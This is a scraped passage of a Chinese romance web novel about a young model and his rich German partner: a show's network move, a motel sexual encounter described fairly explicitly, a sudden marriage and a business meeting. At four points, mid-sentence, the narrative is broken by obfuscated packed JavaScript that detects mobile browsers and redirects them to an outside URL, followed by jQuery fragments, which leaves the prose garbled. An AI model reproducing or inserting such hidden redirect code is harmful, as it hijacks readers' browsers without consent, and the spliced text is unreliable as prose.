卡罗琳没有立刻回答,而是先扭头示意跟拍摄像师关闭设备。摄像机红灯熄灭后,她才转向满车疑惑的选手们,宣布: “这是因为,《荣耀之台》要换电视台了。” 换电视台?! 这绝对是一个惊天大新闻!车厢里瞬间炸开了锅,七嘴八舌的议论声几乎要掀翻车顶。 “安静一下。”卡罗琳抬高手,声音不大却极具穿透力。等大家勉强安静下来,她才继续解释,“不用担心,换电视台不会对《荣耀之台》造成任何影响,恰恰相反,一切会越来越好。唔……可以理解为,我认为一直以来的合作方DSB电视台,不再适合继续《荣耀之台》的制作。所以,我将带着节目——以及你们所有人——带着你们一起,投奔一家更权威、资源更胜一筹的电视台。” 她停顿了一下,目光缓缓扫过每一张年轻的、充满期待的脸。 “模特们,这两期的录制,你们中很多人的表现让我刮目相看。这让我相信,第二十季,我们一定会迎来真正的超模——不止一位超模。”她的语气斩钉截铁,“所以,享受这一周的假期,好好休息,调整好状态。一周后,我们T台见。” 漫长的寂静,显得众人的呼吸时是那么沉重。 然后,车厢里的气氛像终于来到了临界点,轰然暴沸! “啊啊啊!!!” “太棒了!!!” 所有人都尖叫起来,欢呼声几乎要震碎车窗。就连一向表现得比较内敛的两个亚裔选手,也忍不住,跟着大家一起用力鼓掌,脸上绽开惊喜的笑容。 还有什么比假期和美好的事业前景更让人兴奋的呢? · 回到超模别墅,众人亢奋的情绪丝毫未减。 每个人都在欢欣鼓舞地收拾行李。即将离开的内特甚至站在楼梯口大声喊道:“嘿!伙计们!等你们拿到手机,别忘了给我投票!虽然好莱坞见!” “没问题!” “当然!” “等着看你的精彩表现!” …… 回应声从各个房间传来。 大家陆陆续续拖着行李箱下楼。工作人员早已等在客厅,将收走许久的手机一一归还。 开机提示音此起彼伏。 选手们互相添加好友,不知是谁提了一句,有人干脆拉了个群聊。三四天的封闭住宿,足够他们对彼此有了初步的了解。 不少选手还给内特准备了临别礼物,多是自己的幸运物品之类的。凌云也送上了一张信封精美的贺卡。 大部分选手选择等待节目组安排的大巴车统一送他们下山。 凌云决定步行,他得消耗掉奶油的热量。青年拖着日默瓦行李箱,径直朝别墅外走去,想顺便看看比弗利山的风景。 刚走出别墅大门没多远,身后突然传来一声汽车喇叭声。 凌云回头,是一辆保姆车。后车窗降下,卡罗琳笑着和他打招呼。 “嘿。”卡罗琳摘下墨镜,“方便载我一程吗?” 凌云愣了半秒,随即反应过来——这辆车是阿什·艾梅洛德给他配的丰田埃尔法。难怪卡罗琳要说搭他的车。 他立刻笑起来:“当然,女士,我的荣幸。” 上车后,凌云问卡罗琳去哪里。 其实答案他心知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122584|195758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肚明。 凌云已经猜到,恐怕换电视台的事和阿什·艾梅洛德有关。联想到昨晚卡罗琳突然出现在超模别墅,只是为了和他打一个招呼。以及再之前,阿什提到过,他带来的高管正在接触卡罗琳。 答案呼之欲出。 想到这里,凌云忍不住扒着座椅扶手,身体微微侧着,脸上露出那种小狗发现骨头般欢欣鼓舞的神情,眼睛亮晶晶地问: “所以,那天晚上,阿什看到我的粉……看到安德烈试图吻我,立刻起身离场。是不是那个时候他就决定买下《荣耀之台》的版权了?” “是啊。”卡罗琳笑眯眯地说道,“他非常在乎你。” 得到想要的答案,凌云立刻耶了一声,整个人几乎快乐得要飘起来。青年迅速从口袋里摸出手机,指尖翻飞,飞快地打字。 他在给阿什·艾梅洛德发消息。 青春活泼的少年人总是讨人喜欢的,哦,当然,不包括我那不爱干净的儿子。把某个人嫌狗憎的生物,从脑子里剥离,卡罗琳饶有兴致地问凌云:“你不问我,有没有因为艾梅洛德先生的原因,在点评环节,对你有所倾斜吗?” 凌云头也不抬道:“怎么会!这样想简直是对我们两个人专业能力的侮辱!” 卡罗琳刚因为前半句而微微点头表示赞许,又听到青年用理所当然的语气继续补充: “而且你说过,我会成为超模。我拿下最佳硬照,不是很正常吗?” 卡罗琳:“……” 我什么时候说的? 这孩子……还真是自信。却又奇异的不讨人厌。 模特行业,自信从来不是什么坏事。凌云很有意思。卡罗琳想,希望接下来和那位不苟言笑的艾梅洛德先生谈更具体的合同条款时,这个小家伙也在场。 时间在两人有一搭没一搭的闲聊中很快过去。 保姆车驶入洛杉矶国际机场,熟门熟路地拐进VIP停车场区域。 车子刚停稳,凌云的目光就锁定了不远处一个身影。 他甚至没等司机来开门,自己推开车门跳了下去。 “阿什!” 他像枚小……唔,其实还是比较大只的。青年像枚大炮弹似的,朝着身穿亚麻休闲套装,潇洒站在不远处明显是在等他的男人直冲过去。 在即将撞进对方怀里的前一刻,他险险刹住脚步,长腿一伸,恰好卡进男人两脚之间。 阿什:? 凌云压低声音,用只有两人能听见的音量,恶狠狠地威胁道: “快说,你是专门为了我,才买下《荣耀之台》的版权的。” 清爽的气息拂过对方的耳廓,带来的,却是恶作剧得逞的狡黠和亲昵。 “不然我会用尽浑身解数,在这里、在司机面前、在卡罗琳面前、在机场无数来来往往的旅客面前——” 他刻意停顿,在确定对方的眼睛里完完全全只有自己的时候,才慢悠悠地吐出后半句恐吓:“……把你弄硬。你知道我能做到。” “我会让你颜面尽失。” 14. 此章节已锁 上了飞机,凌云还在为男人黑着脸承认是为了他才买的版权雀跃不已。 他像块牛皮糖似的贴过去,搂着男人的脖子,下巴搁在对方肩窝,一脸甜蜜地蹭来蹭去。 阿什:“坐好。” 完全不为所动的样子。如果他的手没有环着青年的腰,这句话会更有说服力。 凌云非但没松手,还把整个人重量都压了过去,故意用气声问:“如果必须规规矩矩坐着……那你买私人飞机干嘛?” 一旁的卡罗琳没忍住,噗嗤笑出声。 她招手,问乘务员要了杯香槟。 凌云这才想起来卡罗琳在,也不缠着不知道又在装什么冷淡的阿什,感兴趣地凑到卡罗琳旁边,也要了一杯香槟。 “我猜你想聊点什么。”他眼睛亮晶晶的。 卡罗琳笑着说道:“我对未来老板的爱情故事很好奇。能讲吗?” “当然啦!”凌云来了精神,他无视前排某人瞬间绷紧的背影兴高采烈地说,“我正好很有表达欲。” “其实挺简单的。”凌云调整了一下坐姿,开始讲述,“录制面试的时候我说过,我的上一份工作,是在游轮上做服务生,那种横跨大西洋的豪华游轮。” 就像所有跨越阶级的爱情故事一样,开头最浪漫。 十九岁的某一天,如往常般工作的凌云邂逅了一位帅气多金的客人。眼神的第一次交锋,他们就确定,他们对彼此抱有好奇心和好感。 他帮了对方一个小小的忙,对方买下他当天的工作时间,请他伴游。 整夜,他们在甲板上吹着海风买醉,像是一期一会般,没有任何顾忌地分享人生。阿什·艾梅洛德讲他的家族,讲他在世界各地的见闻。而凌云恰好能和上其中的大部分——穷游的形式。 “我由此窥见了人生的另一种可能。”凌云大大方方地说,“我为什么不能成功呢?我应该成为一个模特。” 卡罗琳静静地听着,点了点头。 她大概能猜到,凌云从艾梅洛德口中听到了他的继母——一位与她同时代,曾经辉煌不输于她,却早早离开T台的超模的故事。 “所以邮轮靠岸后,我就下船了。”凌云耸了耸肩,“之后我在纽约折腾了一段时间,成功前夕——可以这么说吗?我们意外重逢。再之后就天雷勾地火了。要我说,我们在游轮上的时候就该搞上的。” 卡罗琳被他逗得哈哈大笑。 和凌云聊天很有意思,他能把自己的事情说得像八卦小报一样精彩。 “听起来很浪漫。”卡罗琳微笑,随即话锋一转,带着戏谑说道,“说起来,你还记得那个叫约翰的跟拍摄像师吗?他给了我一张内存卡。” 说着,卡罗琳从包里取出内存卡,递给凌云。 “我想,还是交给你处理比较好。我想你会把它拷出来,做成家庭录像之类的?” 凌云惊喜道:“卡罗琳!你有那么多奇思妙想!我会的!” 前排,阿什男人刚端起马克杯的手微微一顿。 内存卡里是什么内容,两人心知肚明。 ——导致他俩在新提的埃尔法里吵架、然后互相帮助的东西。 见凌云毫不避讳,卡罗琳自然不放过八卦的机会。她问他:“所以是?” “那个啊?”再回忆起来,凌云已经不生气了。事实上他现在甚至不能共情十天前的自己怎么会那么幼稚?不过阿什也没有好到哪儿去。他说,“那天我们出海回来,顺便在游艇俱乐部里吃饭。我们在大陆架边缘飘了两天,回来又用了一天。下船的时候比较仓促,东西没拿完。阿什身上没有现金了,让我帮忙付一下小费。” “我当时正在跟一只龙虾搏斗,就让他自己从我的口袋里拿现金。结果——” 他故意拖长声音。 “结果他从里面挑了一张最大面额的给他。那可是一百美元!” 卡罗琳挑眉:“所以?” “所以我冲他发脾气了!”凌云理直气壮,“他以前给我小费,都只给我十美元!这差距也太大了吧!” 这个理由让卡罗琳啼笑皆非。 “就为这个?” “就为这个。” “那他知道原因吗?”卡罗琳问。 日耳曼男人冷硬的、没有任何情绪起伏的腔调从前排传来:“感谢解答,我现在知道了。” 凌云悻悻地说道:“你也有问题,你没有哄我,你觉得我是舍不得给你花钱所以才故意闹别扭的。你竟然还捏着十字架发誓,这辈子再也不会花穷人一分钱。我没有很穷好吗!” 又对卡罗琳说道:“Youknow,爱情总是分分合合。如你所见,我们又和好了。” 回应他的,是阿什一声清晰的、带着嘲讽的冷哼,以及刻意抖动报纸的哗啦声。 卡罗琳听八卦是听爽了,只遗憾涉及艾梅洛德,她不好在参加谈话类节目的时候哔哔出去众乐乐。 只能和凌云一起追加了第二杯香槟,继续聊时尚话题。 · 傍晚时分,私人飞机落地。 卡罗琳在纽约有房产,她联系了司机来接。临别前,她对阿什和凌云点了点头:“那么,明天见?” 阿什颔首:“合同已经准备好了。” 凌云则热情地挥手:“拜拜卡罗琳!路上小心!” 两人上了另一辆车,回长岛。 车程漫长。起初,车内气氛还算和谐,直到凌云嘴巴闲不住,把自己给粉丝to签的事讲出来。 阿什原本在闭目养神,听到某个讨人厌的红毛的名字,睁开了眼睛,语气危险地问他:“你给他to签?” “是啊。”凌云心里美,没察觉到异样,“他和黛米一样,属于比较疯狂的粉丝。他对我的迷恋很深,他……唔。” 腮帮子被突然伸过来的大手捏住。 “你给他to签。”阿什重复了一遍。 明明男人的语气很平淡,可凌云就是寒毛都竖了起来。 “安德烈有什么问题吗?黛米和内特也有。” “内特又是谁?” “马上要去参加《鲁保罗变装皇后秀》的……” “凌云。”阿什闭上眼睛,手上格外用力,“我生气了。” 凌云皱眉,他被掐得有点痛了,忍不住打掉男人的手,冲他吼道:“我不接受你不说清楚,莫名其妙的生气理由!” “要说多清楚?”阿什忍不住用德语骂了句,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你这样,没意思。”凌云捏了一下,“你永远不会和我来真的。你早晚要找个和你一样信仰基督教的女继承人,然后在你们的新婚之夜,满脑子都是我——被你抛弃的旧情人。” 他退后一步,踢了踢路边的石子,好生气,还要骂:“Fuckyou.” “Fuckyouseriously.”阿什条件反射地接道。 这是两人互骂出来的肌肉记忆。 “OKeon.”凌云摊了摊手,无所谓道,“Kissmyass.” 他说的是气话,阿什·艾梅洛德吃屁去吧! 但出乎意料的,这一次,男人没有骂回来。 他大步上前,一把抓住凌云的手腕,力道大得不容挣脱,直接将凌云拽向停在路边的车子。 他拉开副驾驶车门,把凌云往前推,然后对里面极力缩小存在感的司机命令道:“你下车。自己想办法回去。” 司机连滚爬爬地下车,他这就打车走! 阿什自己坐进驾驶座,在凌云一脸莫名其妙的注视中重新点火。 “OK。去哪里?”他问。 15. 此章节已锁 车开出去一会儿了,凌云才猛地意识到,阿什那声简短的“OK”,可能并不只是语气词。 好像是对自己那句气话的回答。 —eon,kissmyass. ——OK. 凌云:“……” 是这个意思吗? 他扭头,偷偷观察驾驶座上男人的侧脸。 面色冷淡,下颌紧绷,碧色的眼睛专注地看着前方道路,鬼看得出什么情绪。 阿什显然瞥见了他的小动作,目视前方,又问了一遍:“去哪里?” “什么去哪里?”凌云下意识地反问。 而十分钟前还和他吵得有来有回、寸步不让的男人,突然变得惜字如金起来。 凌云等了一会儿,没等到任何进一步的解释说明。 这沉默比吵架更让心跳加速。 凌云怪叫一声,像是要打破这诡异的气氛,也像是对自己猜测的一种确认。他掏出手机,手指有些发颤地在谷歌地图上搜索附近营业中的酒店,然后选择了最近的一家,并打开了语音导航。 机械的电子音指明道路,阿什顺着提示掉头。 他依旧保持沉默。 凌云手背贴了贴自己的额头,仿佛在确认自己有没有发烧似的。他嘴里喃喃道:“你说的……你要做到。” · 半小时后,车子停在一家汽车旅馆前。 不是美国B级片里那种充斥着犯罪、肮脏交易的破烂小旅馆。开在长岛,它自然是一家高级、干净、甚至刻意营造出了某种复古时髦感的汽车旅馆。 汽车旅馆的霓虹灯招牌设计得颇具艺术感,凌云控制不住地想到骚男派对、主妇出柜、FBI大战逃亡杀手的情节…… 不过,汽车旅馆终究是汽车旅馆。那种游离于常规酒店体系之外、自带某种不正派的暧昧气息的因子,正悄然在空气中弥散。 阿什去前台办理入住,凌云走到自动贩卖机前。他摸了摸口袋,正好有零钱。贩卖机里除了饮料零食,还卖计生用品。 他挑了两盒薄荷巧克力味的三枚装。出于对某人小兄弟的熟稔,他毫不犹豫地选择了市面上能买到的最大号。 犹豫了一下,他又买了一管咬字分开念液——以防某个该死的、信仰上帝的男人临门一脚又跨不过去心里那道坎。 有备无患,咬液起码能让今晚的体验不至于太糟糕。 等阿什拿着房卡过来,两人一前一后沉默地上楼,步行来到美国电影里的性之初体验胜地——汽车旅馆的套房。 打开门,谢天谢地,虽然外部是汽车旅馆的样式,内部却仍是高级酒店的配置。套房刻意做得拥挤,干净的深色地毯、配色大胆的波普风沙发,野兽派装饰画,以及昏黄的灯光。 一切都在无声地挑动着感官。 阿什什么也没说,径直走进浴室,关上了门。很快,里面传来哗啦啦的水声。 凌云站在房间中央,深吸一口气,开始脱衣服。外套、衬衫、长裤、内裤……直到一丝/不挂。 日耳曼男人的动作很快,他洗完出来的时候,凌云正皱着眉,研究手里的咬液。 “今天到哪里?”凌云问。 阿什的喉结滚动了一下,碧色的眼睛深深看着他,给出了今晚的标准答案:“你想到哪里,就到哪里。” 呼—— 凌云轻轻吐出一口气,捏着咬液,转身挤进那间故意设计得狭窄的浴室。 并骚包地把百叶帘卷了上去。 打开花洒,温热的水流喷洒而下,蒸腾的白色的雾气迅速将玻璃氤氲模糊。但水汽只能雾化细节,遮挡不住模特年轻的躯体优越的轮廓和比例——宽肩窄腰,长腿笔直,每一处起伏都恰到好处。 “嘿,”他叼着盖子,含糊地冲着外面说,手上则用力拧管子,“要是一会儿你敢叫停,我真的会揍你的,阿什。没有人像你一样搞柏拉图。我才二十岁不到。” 仿汽车旅馆的酒店房间之间隔音很好,凌云进来时观察过,墙体格外的厚,应该还用了价格不菲的静音材料。然而房间内是不需要隔音的。 水声哗啦啦啦。 他的话在阿什听来失真,阿什也是。 “没有柏拉图。”男人认真地解释。 “是、是。所有的边缘性行为我们都尝试过了,只差最后那一步。好吧,让我们完成它吧。”青年说道。 买的时候没仔细看,咬液居然也是巧克力味的。想了想,凌云对着管子吸了一口,嘴里立刻被黏稠无味的水状液体充斥。 原来巧克力味只有气味啊。 说不上好不好吃,有点像吃了一大坨胶水。青年皱着眉吐出来。 接下来才是关键。他单手撑在雾气朦胧的玻璃墙上,另一只手则背到身后,凭着感觉,在大概腰窝下方的位置挤了一大坨冰凉的咬液。 空了的管子被随手扔在泡着水的地面上。 雾气氤氲。 他用手指沾着,学着早就烂熟于心的教程,起初还有一点笨拙,但很快就在探索中得了趣儿。 一种奇异的、带着轻微刺麻的愉悦感,顺着脊椎悄然爬升。 果然是一件很快乐的事。 之后还会更快乐。 他并不约束自己发出声音,更满意见到阿什的浴巾不再自然垂落,打结的位置被撑得松松垮垮。 “你在看什么?”凌云关了水,抹了把脸上的水珠。他刻意避开了头发,微卷的黑发只湿了几缕。 “在看你脱下来的衣服。”阿什的声音比刚才更沙哑了些。 凌云推开玻璃门,带着一身湿漉漉的水汽和热意走出来。他很容易就看清楚男人此刻的状态——性致勃勃。然而面上仍残留着一丝挣扎,手指还在无意识地摩挲着从不离身的十字架项链。 让上帝回避一下好吗?他忍不住在心里怒吼。 但现在不是怒吼的时候。 他走到散落一地的衣服旁,弯腰捡起那两盒薄荷巧克力味的三枚装,懒洋洋地靠在贴着复古花纹墙纸的墙上,说:“刚刚是谁说要干死我的?你最好是。” 说完,他手腕一扬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133942|195758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空中划过一道弧线,计生用品被准确地朝着阿什扔了过去。 · 翌日一早,率先醒来的,是健身生物钟雷打不动的凌云。 他迷迷糊糊地睁开眼,花了几秒才辨认出陌生的天花板和波普风沙发。视线转向旁边,男人沉睡的侧脸近在咫尺,呼吸平稳。 凌云转头看向墙上的古董挂钟——才早上六点。他才睡了三个小时不到。 在爬起来做有氧运动和闭眼睡他个天荒地老之间,意识挣扎了大约五秒。最终,因为房间里没有任何健身器材,加上身体深处传来的陌生的酸软感,凌云意志力投降,重新闭上眼睛。 一个小时后,阿什的生物钟也醒了。 从青春期开始堆砌已久的欲望以及性幻想彻底美梦成真的男人,无论是精神还是身体都相当满足。 他坐起身,薄被滑落,露出结实的上半身。旁边的青年因为他的动作不满地嘟囔了两声,翻身把脸埋进枕头里,继续睡。 阿什这才意识到,他违反了信仰的宗教的教义。婚前性行为什么的……他揉了揉太阳穴。 阳光透过窗帘缝隙洒入房间。 □*□ 因为某人橡胶过敏。 东西是他买的,也是他扔给阿什的。 □*□ □*□ 回忆完昨晚的一切,阿什很难说他现在究竟是什么样的心态。 很冲动——毋庸置疑。他是一个虔诚的教徒,他恪守底线至昨晚冲动之前。 后悔吗?倒是不至于。其它的…… 纷乱的情绪尚未整理出头绪,身旁传来动静。 凌云也醒了。 □*□ “管好嘴。”凌云嗓音沙哑地警告,“我不指望从你口中听到什么温存,但我绝对不要听到你对耶稣忏悔……” “Merryme.” “啊?” “我说,我们现在去结婚。”男人握着他的手,在手背上轻轻烙下了一吻,语气珍而重之,“我没有准备戒指,不过,或许你愿意接受艾梅洛德家族的传承戒指?” “什么样的?”青年被这突如其来的发展弄得有点懵,他傻乎乎地问。 阿什的唇角极轻微地向上弯了一下,声音低沉而肯定:“和你的眼睛颜色一样。” “是稀世珍宝。” · 几个小时后,纽约皇后区市政厅。 填表、交证件,牢记自己的誓言,阿什坚持拒绝了凌云从口袋里摸出的皱巴巴的三十五美元现金,亲自走到外面的ATM机取了崭新的钞票,支付登记费。 然后签字。 流程快得像是在做梦一样。 直到工作人员将那张还带着机器余温的婚姻许可证递到他们手中,凌云捏着那张轻飘飘又沉甸甸的纸,看着上面的两个名字,仿佛大梦初醒般地眨了眨眼睛 他扭头,看向一旁刚刚在法律上成为他丈夫的男人。 “我们……”他迟疑地开口,声音里带着点不确定,“是不是有点太意气用事了?” 16. 此章节已锁 无论如何,事实婚姻已成定局。 两人揣着那张还带着打印机余温的婚姻许可证,回到车上,返回长岛。 一路无话。 或许是因为情绪还没缓过来,两人都需要时间消化这突如其来的、堪称疯狂的身份转变。窗外的景色飞驰而过,车内却静得只有彼此的呼吸声。 过了一会儿,凌云的手机响了。 他拿出手机一看,是阿什的助理西蒙。 “喂,西蒙?” “先生,下午好。”西蒙的声音一如既往的沉稳,但细听之下似乎有一丝不易察觉的紧绷,“请问,boss在您身边吗?我无法联系上他。” 凌云看向阿什,用眼神询问。 阿什皱了下眉,从口袋里摸出自己的手机,按亮屏幕,黑的——手机不知道什么时候已经自动关机了。 阿什事务繁忙,手机几乎从不离身,助理会在恰好的时候提醒他充电,这种情况相当罕见。 “他在,他手机没电关机了。”凌云对电话那头说,“怎么了吗?急事?” 不是急事的话,他现在更想和新婚丈夫一起回家。 西蒙那边似乎松了口气,语气却更急了些:“是的,有些紧急。请您帮忙提醒boss,卡罗琳女士预约了下午两点会面,商讨《荣耀之台》的版权转移及后续制作的具体事宜。我们这边的律师团队已经提前抵达公司了。如果二位有更重要的事情,”他顿了顿,“我让一秘去推迟和卡罗琳女士的会议。” 凌云和阿什对视一眼。突如其来的私人事件,几乎让他们忘记了现实世界还在按部就班地运转。 两人这时才想起来,疯狂的夜晚和更加疯狂的早晨过后,留给他们的不是商量婚礼,而是堆积如山的工作和仅仅一周的、注定无法平静的假期。 凌云给阿什一个眼神,然后把手机开外放。 “知道了。”阿什终于开口,声音有些沙哑,但已经恢复了平日的冷静,“会议照常,我们稍后就到。” 好在他们本来就没开出去多远,皇后区市政厅到曼哈顿下城可比回长岛近。不过,在投入下午的鏖战之前,他们需要先解决一下午餐——从昨晚到现在,两人几乎粒米未进。 两人在华尔街附近一家老派的牛排馆里简单吃了点东西。席间依旧话不多,但气氛不再是最初那种茫然无措的寂静,而是一种忙于处理现实事务的专注。 他们都在努力消化情绪。 凌云切着他喜欢的带油边的西冷,思绪却有些飘远。 婚礼……刚刚拿到婚姻许可证,这个词就跳进了脑海。 虽然整个结婚过程仓促得像一场冒险,但结婚本身就是一个让人心生向往的词。他想,一会儿阿什开会的时候,或许可以研究一下在哪里举办婚礼。 城堡、森林、海岛……无数电影画面在脑海中闪过。 华尔街停车困难,已经下午了,总裁的专属停车位也有概率被销冠占去。两人干脆把车停在牛排馆,步行前往MSYL大厦——艾梅洛德家族在美国的商业帝国总部。 卡罗琳已经带着她的律师团队和策划团队到了。 双方在顶层宽敞明亮的会议室里落座。很快,围绕《荣耀之台》第二十季后续制作的密集讨论就此展开。 涉及巨额的版权税、平台迁移、制作团队重组、未来节目走向乃至选手合约细节……每一个部分都需要反复磋商、争取。 整个下午,凌云都待在阿什的办公室里。他没有去打扰会议,他不是那块料,更没有兴趣参与那些复杂的辩论。 他一会儿窝在宽大舒适的老板椅里转圈,一会儿躺倒在柔软的皮质沙发上,举着手机,看了好几个旅行博主的豪华婚礼Vlog,又浏览了好几个欧洲著名城堡的租赁网站,甚至还考虑过买一个小岛。 不过他猜,阿什一定本来就有私人小岛。 时间在屏幕滑动和漫天遐想中悄然流逝。 · 直到窗外天空的颜色从明亮的湛蓝,逐渐变化为深邃的宝蓝,夕阳的最后一抹金辉从曼哈顿无数玻璃外墙的尖角上褪去 会议才终于告一段落。 办公室的门被人从外面推开,阿什走了进来。 男人的脸上带着长时间高强度会议后的疲惫,但眼神依旧清明锐利。 他正准备开口叫凌云去吃饭,却在看到对方身影的刹那顿住。 凌云背对着门,倚坐在巨大的黑胡桃木办公桌上,仰着头,静静地凝望着窗外的夜景。青年修长的身形被窗外渐浓的暮色勾勒出清晰的剪影,他能把随便什么穿出高级成衣的质感。 让阿什想起他们的初遇。 在横跨大西洋的游轮的甲板上,隔着一段距离,他还没看清那个年轻的服务生的脸,没捕捉到那双后来让他深陷的祖母绿眼睛,就先被他的身影吸引了。 高挑、挺拔、比例近乎完美,随便一站就很好看,举手投足间更是让人移不开视线。 身材和气质是骗不了人的。显然,凌云从那副骨架开始,就是一个美人。 “凌云……”男人轻声开口。 “嘘。”凌云没有回头,只是抬起一根手指抵在唇边,示意他安静。 阿什停下脚步。 就在这时,仿佛统一收到某个无声的指令,窗外,曼哈顿下城无数摩天大厦的灯光,几乎是同时亮了起来。无数金色、白色的光点瞬间刺破浓郁的蓝调夜幕,勾勒出这水泥森林浩瀚的天际线,直至倒映在蜿蜒的哈德逊河河面上,交织成一片璀璨夺目、价值连城的辉煌景象。 全世界最值钱的夜景。 ——纽约开灯了。 如果世界上只有一个城市,那一定是纽约。 InNewYork,concretejunglewheredreamsaremadeof. There''snothingyoucan''tdo.Nowyou''reinNewYork.* 无论看过多少次,凌云依旧会被这一刻的磅礴与梦幻所震撼。这座城市永远带着一种欣欣向上的辉煌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142168|195758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让人痛恨,又让人深深着迷。 这就是纽约。 阿什走到他身边,没有说话,只是伸手,轻轻捏了捏他的肩膀。 触手温暖。还好,没有被办公室里充足的冷气吹着凉。 凌云这才转过身,很自然地伸出手臂,勾住阿什的脖子,将他拉近,交换了一个温柔而绵长的吻。 不打算现在就发生点什么,两人都很克制。这个吻更像是一种确认。 吻毕,他们额头相抵。 “怎么样,收购还顺利吗?”凌云低声问。 阿什淡淡地嗯了一声,算是回答。凌云等他继续往后说,然而阿什似乎没有继续往下聊的欲望。不过凌云也不太在意,问他:“所以,你是来接我去吃饭的?” 说完,他松开手,从办公桌上跳下来,落地轻盈,像猫一样伸展撑久了的手臂。 阿什这才笑了一下。他凑过去,在凌云还残留着一点接吻后湿润光泽的嘴唇上亲了亲:“饿了?” “早饿了,饿得我都想啃桌子了。” 两人并肩朝外走去。 作为传媒帝国的继承人,凌云早已习惯阿什工作的节奏。忙起来的时候可能连续几天都见不到人影,全球飞是常态;但空闲下来,这位公子哥能带着他在迈阿密的海滩或是瑞士的雪场一待就是一个月,变着花样享受生活。 所以,对于新婚第一天,就被晾在办公室的情况,凌云早有心理准备,甚至觉得这比预想中要好——至少和阿什开会在同一幢大厦里,而不是有着好几个小时时差的异地。 他其实有做好新婚第一天独自回家的准备。现在这样已经很好了。 不过,《荣耀之台》换电视台,绝对算得上是一个超大新闻。居然一下午就谈妥了吗?凌云的心里闪过一丝模糊的诧异,但很快就被饥饿感和对烛光晚餐的期待冲淡。 在电梯间里,凌云忍不住给阿什分享他看的好几个不错的城堡,要是阿什更喜欢森林、海岛之类的也没问题。 阿什句句有回应,却没有给太多有建设性的意见。仿佛在听一份有待评估的商业计划。 两人来到附近一家他们都很喜欢的意大利餐厅。餐厅不大,装修复古,灯光温暖,以地道的海鲜和手工意面闻名。老板认得阿什,将他们引到角落一处更为私密的卡座。 点完菜,服务生离开。舒缓的爵士乐流淌在空气中,周围的低声交谈像是电影的白噪音。 这一刻的氛围浪漫极了。 凌云举起酒杯喝了一口。 隔着摇曳的烛光,他看到男人正在用手机快速回复着什么信息,表情有一点不耐烦。不是说下午很顺利吗? 等他终于放下手机,凌云才用叉子轻轻敲了敲盘子边缘,提醒对方现在是私人时间。 阿什:“抱歉,是不得不回的信息。” 不得不回…… 青年托着腮,翠绿色的眼睛,在灯火的衬托下愈发的油润,他歪了歪头,语气轻松地问: “亲爱的,我猜你有什么事情想告诉我?” 17. 此章节已锁 把凌云送到办公室后,还有一点时间,阿什没有立刻去会议室,而是去天台给拉文娜打了个电话。 拉文娜是阿什的继母,一位曾经闻名遐迩、却在巅峰时期为了照顾家庭,早早淡出T台的传奇超模。 不过,或许很快就不是继母了。等待电话接通的间隙,男人面无表情地想。 滴声过后,接电话的,是一个稚嫩清脆的童声:“Hello?” “下午好,阿什莉。”阿什的声音不自觉地放柔,“你妈妈呢?” “哥哥!”小姑娘立刻认出了他的声音,欢快地回答道,“妈妈在和一个叔叔谈事情,我在画画。找我有什么事情吗……喏,妈妈来了。” 电话那头传来高跟鞋尖细的脚步声。几秒后,电话被人接过去。 拉文娜接起电话。 “下午好。什么事?”女人问。 阿什开门见山道:“我需要那枚祖母绿戒指。” 拉文很是惊讶:“当然,你要的话我当然会给你,我不会带走它。”顿了顿,女人语气变得有些惊喜,“等等,阿什,你……你同意我和你父亲离婚了?还是说,你那边发生了什么吗?” “我结婚了。”稍加思索,阿什又答复了前面那句,“你在和律师见面对吧?我没有办法阻止你,拉文娜,但你不应该带阿什莉一起见律师。” 知道继子实际上是在暗示同样姓艾梅洛德的小姑娘的抚养权。女人捏了捏鼻梁,选择跳过这个话题。 “我会回去取戒指,然后尽快拿给你。”女人的声音恢复了平时的爽朗利落,“恭喜你,阿什。祝你新婚快乐。” 又聊了几句,阿什承诺周末会带阿什莉去海洋公园玩,小姑娘像百灵鸟一样叽叽喳喳地赞美他,随后两人便挂了电话。 · 变故发生在收购会议刚开始不久。 阿什没有等到拉文娜,先一步踏进MSYL大厦顶层会议室的,是近几年已逐渐退居二线的老艾梅洛德——他的父亲,雷吉斯·艾梅洛德。 尽管已经年过六十,雷吉斯的体态依旧保养得宜,一头金发浓密。岁月在他脸上刻下风霜,却也赠予了不怒自威的气场。 